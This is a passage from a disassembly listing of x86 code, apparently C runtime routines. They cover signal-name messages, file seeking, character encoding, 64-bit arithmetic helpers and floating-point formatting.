[ebp+arg_0] cmp eax, 2 jl short loc_40C0F3 cmp eax, 0Bh jg short loc_40C0B2 jmp dword ptr byte_410108[eax*4] ; --------------------------------------------------------------------------- loc_40C0B2: ; CODE XREF: sub_40C050+59j cmp [ebp+arg_0], 0Fh jz short loc_40C0EA jmp short loc_40C0F3 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_40C147 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_40C147 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_40C147 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_40C147 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_40C147 ; --------------------------------------------------------------------------- loc_40C0EA: ; CODE XREF: sub_40C050+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_40C147 ; --------------------------------------------------------------------------- loc_40C0F3: ; CODE XREF: sub_40C050+54j ; sub_40C050+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_40C0FD: ; CODE XREF: sub_40C050+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_40C0FD push offset dword_411328 push offset aSignal ; "signal #" call sub_40D190 add esp, 8 loc_40C147: ; CODE XREF: sub_40C050+71j ; sub_40C050+7Dj ... push offset dword_411328 mov eax, [ebp+var_4] push eax call sub_40D190 add esp, 8 push offset dword_411328 push offset aTerminating ; " -- terminating\n" call sub_40D190 add esp, 8 push 1 call sub_407D70 pop ecx loc_40C172: ; CODE XREF: sub_40C050+2Aj ; sub_40C050+49j xor eax, eax loc_40C174: ; CODE XREF: sub_40C050+22j pop ebx mov esp, ebp pop ebp retn sub_40C050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C180 proc near ; CODE XREF: sub_40AA00+4Bp ; sub_40BC70+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_40AEF0 pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40C1A9 call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40C1F2 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40C180+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E18 ; SetFilePointer mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40C1D5 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_4085D0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40C1F2 ; --------------------------------------------------------------------------- loc_40C1D5: ; CODE XREF: sub_40C180+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_40C1F2: ; CODE XREF: sub_40C180+27j ; sub_40C180+53j pop edi pop esi pop ebx pop ebp retn sub_40C180 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A8C jnb short loc_40C22B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40C23B loc_40C22B: ; CODE XREF: DMN0:0040C20Ej call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40C25E ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: DMN0:0040C229j push ebx call sub_40B010 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40C180 add esp, 0Ch mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_40C25E: ; CODE XREF: DMN0:0040C239j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C270 proc near ; CODE XREF: sub_40B240+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411928, 0 jnz loc_40C357 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_40C2AB mov eax, [ebp+arg_8] mov ecx, dword_4101BC mov ebx, dword_4101C0 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_40C4AD ; --------------------------------------------------------------------------- loc_40C2AB: ; CODE XREF: sub_40C270+1Ej test [ebp+arg_4], 0FF80h jnz short loc_40C2CB mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_40C344 ; --------------------------------------------------------------------------- loc_40C2CB: ; CODE XREF: sub_40C270+41j test [ebp+arg_4], 0F800h jnz short loc_40C2F4 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_40C344 ; --------------------------------------------------------------------------- loc_40C2F4: ; CODE XREF: sub_40C270+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_40C344 ; --------------------------------------------------------------------------- loc_40C318: ; CODE XREF: sub_40C270+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_40C344: ; CODE XREF: sub_40C270+59j ; sub_40C270+82j ... cmp [ebp+var_4], 0 jg short loc_40C318 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_40C4AD ; --------------------------------------------------------------------------- loc_40C357: ; CODE XREF: sub_40C270+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 cmp [ebp+arg_0], 0 jnz short loc_40C3A2 mov eax, [ebp+arg_8] mov ecx, dword_4101BC loc_40C385: ; DATA XREF: DMN1:00450CFCo mov ebx, dword_4101C0 mov [eax], ecx mov [eax+4], ebx mov eax, off_411928 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_40C4AD ; --------------------------------------------------------------------------- loc_40C3A2: ; CODE XREF: sub_40C270+10Aj ; sub_40C270+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_40C3E8 movzx eax, al mov eax, off_411968[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_40C3E8 movzx eax, byte_4118A4 cmp [ebp+var_8], eax jge short loc_40C3E8 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_40C3E8 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_40C3FB loc_40C3E8: ; CODE XREF: sub_40C270+137j ; sub_40C270+148j ... call sub_408730 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_40C4AD ; --------------------------------------------------------------------------- loc_40C3FB: ; CODE XREF: sub_40C270+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_40C427 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_40C427: ; CODE XREF: sub_40C270+1A2j test [ebp+var_12], 1000h jz short loc_40C449 movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_40C449: ; CODE XREF: sub_40C270+1BDj test [ebp+var_12], 2000h jz short loc_40C48D mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_40C46B movzx edx, [ebp+var_12] mov [ebp+var_1C], edx jmp short loc_40C472 ; --------------------------------------------------------------------------- loc_40C46B: ; CODE XREF: sub_40C270+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_40C472: ; CODE XREF: sub_40C270+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_40C486 mov [ebp+var_10], 1 loc_40C486: ; CODE XREF: sub_40C270+20Dj mov [ebp+var_C], 0 loc_40C48D: ; CODE XREF: sub_40C270+1DFj test [ebp+var_12], 4000h jnz short loc_40C49F cmp [ebp+var_10], 0 jz loc_40C3A2 loc_40C49F: ; CODE XREF: sub_40C270+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_40C4AD: ; CODE XREF: sub_40C270+36j ; sub_40C270+E2j ... pop ebx mov esp, ebp pop ebp retn sub_40C270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C4C0 proc near ; CODE XREF: sub_40B390+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_40C4E1 mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_40C531 ; --------------------------------------------------------------------------- loc_40C4E1: ; CODE XREF: sub_40C4C0+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_40C4EF: ; CODE XREF: sub_40C4C0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40C4EF div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_40C51A cmp edx, [esp+4+arg_C] ja short loc_40C51A jb short loc_40C522 cmp eax, [esp+4+arg_8] jbe short loc_40C522 loc_40C51A: ; CODE XREF: sub_40C4C0+4Aj ; sub_40C4C0+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_40C522: ; CODE XREF: sub_40C4C0+52j ; sub_40C4C0+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_40C531: ; CODE XREF: sub_40C4C0+1Fj pop ebx retn 10h sub_40C4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C540 proc near ; CODE XREF: sub_40B390+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40C561 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40C561: ; CODE XREF: sub_40C540+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40C57D inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40C57D: ; CODE XREF: sub_40C540+27j or eax, eax jnz short loc_40C599 mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_40C5DA ; --------------------------------------------------------------------------- loc_40C599: ; CODE XREF: sub_40C540+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_40C5A7: ; CODE XREF: sub_40C540+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40C5A7 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_40C5D5 cmp edx, [esp+0Ch+arg_C] ja short loc_40C5D5 jb short loc_40C5D6 cmp eax, [esp+0Ch+arg_8] jbe short loc_40C5D6 loc_40C5D5: ; CODE XREF: sub_40C540+85j ; sub_40C540+8Bj dec esi loc_40C5D6: ; CODE XREF: sub_40C540+8Dj ; sub_40C540+93j xor edx, edx mov eax, esi loc_40C5DA: ; CODE XREF: sub_40C540+57j dec edi jnz short loc_40C5E4 neg edx neg eax sbb edx, 0 loc_40C5E4: ; CODE XREF: sub_40C540+9Bj pop ebx pop esi pop edi retn 10h sub_40C540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C5F0 proc near ; CODE XREF: sub_40B390+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_40C609 mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40C609: ; CODE XREF: sub_40C5F0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_40C5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C630 proc near ; CODE XREF: sub_40B5D0+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_40C673 test word ptr [ecx+6], 0Fh jnz short loc_40C660 cmp word ptr [ecx+4], 0 jnz short loc_40C660 cmp word ptr [ecx+2], 0 jnz short loc_40C660 cmp word ptr [ecx], 0 jz short loc_40C667 loc_40C660: ; CODE XREF: sub_40C630+1Aj ; sub_40C630+21j ... mov edx, 2 jmp short loc_40C66C ; --------------------------------------------------------------------------- loc_40C667: ; CODE XREF: sub_40C630+2Ej mov edx, 1 loc_40C66C: ; CODE XREF: sub_40C630+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_40C673: ; CODE XREF: sub_40C630+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_40C692 cmp word ptr [ecx+4], 0 jnz short loc_40C692 cmp word ptr [ecx+2], 0 jnz short loc_40C692 cmp word ptr [ecx], 0 jz short loc_40C696 loc_40C692: ; CODE XREF: sub_40C630+4Cj ; sub_40C630+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40C696: ; CODE XREF: sub_40C630+60j xor eax, eax retn sub_40C630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6A0 proc near ; CODE XREF: sub_40B5E0+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40D280 add esp, 8 movsx eax, ax pop ebp retn sub_40C6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6C0 proc near ; CODE XREF: sub_40B5E0+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40D320 add esp, 8 movsx eax, ax pop ebp retn sub_40C6C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C6E0 proc near ; CODE XREF: sub_40B5E0+20Bp ; sub_40B5E0+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_40C6E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C710 proc near ; CODE XREF: sub_40B5E0+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40C710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C740 proc near ; CODE XREF: sub_40B5E0+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D4 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_40C765 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101C8 loc_40C765: ; CODE XREF: sub_40C740+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40C799 cmp al, 46h jz short loc_40C799 cmp al, 67h jz short loc_40C77C cmp al, 47h jnz loc_40C9E3 loc_40C77C: ; CODE XREF: sub_40C740+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_40C9E3 movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_40C9E3 loc_40C799: ; CODE XREF: sub_40C740+2Aj ; sub_40C740+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C7A9 cmp al, 47h jnz short loc_40C7E4 loc_40C7A9: ; CODE XREF: sub_40C740+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_40C7C7 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40C7C7 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40C7C7: ; CODE XREF: sub_40C740+72j ; sub_40C740+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_40C7E4 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40C7E4: ; CODE XREF: sub_40C740+67j ; sub_40C740+98j cmp [ebp+arg_10], 0 jg loc_40C8B0 mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C816 test word ptr [eax+38h], 8 jz short loc_40C82E loc_40C816: ; CODE XREF: sub_40C740+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C82E: ; CODE XREF: sub_40C740+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_40C848 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_40C848: ; CODE XREF: sub_40C740+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C879 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C879: ; CODE XREF: sub_40C740+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_40CBD5 ; --------------------------------------------------------------------------- loc_40C8B0: ; CODE XREF: sub_40C740+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_40C92A movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C907 test word ptr [eax+38h], 8 jz short loc_40C91C loc_40C907: ; CODE XREF: sub_40C740+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_40C91C: ; CODE XREF: sub_40C740+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_40CBD5 ; --------------------------------------------------------------------------- loc_40C92A: ; CODE XREF: sub_40C740+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C96F test word ptr [eax+38h], 8 jz short loc_40C987 loc_40C96F: ; CODE XREF: sub_40C740+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C987: ; CODE XREF: sub_40C740+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C99D mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C99D: ; CODE XREF: sub_40C740+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_40CBD5 ; --------------------------------------------------------------------------- loc_40C9E3: ; CODE XREF: sub_40C740+36j ; sub_40C740+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C9EE cmp al, 47h jnz short loc_40CA39 loc_40C9EE: ; CODE XREF: sub_40C740+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40CA0C test word ptr [eax+38h], 8 jnz short loc_40CA0C mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40CA0C: ; CODE XREF: sub_40C740+2B8j ; sub_40C740+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_40CA24 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40CA24: ; CODE XREF: sub_40C740+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_40CA4F ; --------------------------------------------------------------------------- loc_40CA39: ; CODE XREF: sub_40C740+2ACj cmp [ebp+arg_4], 61h jnz short loc_40CA45 mov [ebp+arg_4], 70h jmp short loc_40CA4F ; --------------------------------------------------------------------------- loc_40CA45: ; CODE XREF: sub_40C740+2FDj cmp [ebp+arg_4], 41h jnz short loc_40CA4F mov [ebp+arg_4], 50h loc_40CA4F: ; CODE XREF: sub_40C740+2F7j ; sub_40C740+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40CA80 test word ptr [eax+38h], 8 jz short loc_40CA98 loc_40CA80: ; CODE XREF: sub_40C740+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40CA98: ; CODE XREF: sub_40C740+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_40CAFB mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_40CAC0 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40CAC0: ; CODE XREF: sub_40C740+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_40CAFB: ; CODE XREF: sub_40C740+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_40CB29 mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_40CB39 ; --------------------------------------------------------------------------- loc_40CB29: ; CODE XREF: sub_40C740+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_40CB39: ; CODE XREF: sub_40C740+3E7j mov [ebp+var_8], 0 jmp short loc_40CB6B ; --------------------------------------------------------------------------- loc_40CB42: ; CODE XREF: sub_40C740+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_40D540 add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_40CB6B: ; CODE XREF: sub_40C740+400j cmp [ebp+arg_10], 0 jg short loc_40CB42 cmp [ebp+var_8], 2 jge short loc_40CB8F mov al, [ebp+arg_4] cmp al, 65h jz short loc_40CB83 cmp al, 45h jnz short loc_40CB8F loc_40CB83: ; CODE XREF: sub_40C740+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_40CB8F: ; CODE XREF: sub_40C740+436j ; sub_40C740+441j cmp [ebp+var_8], 0 jnz short loc_40CBBC mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_40CBBC ; 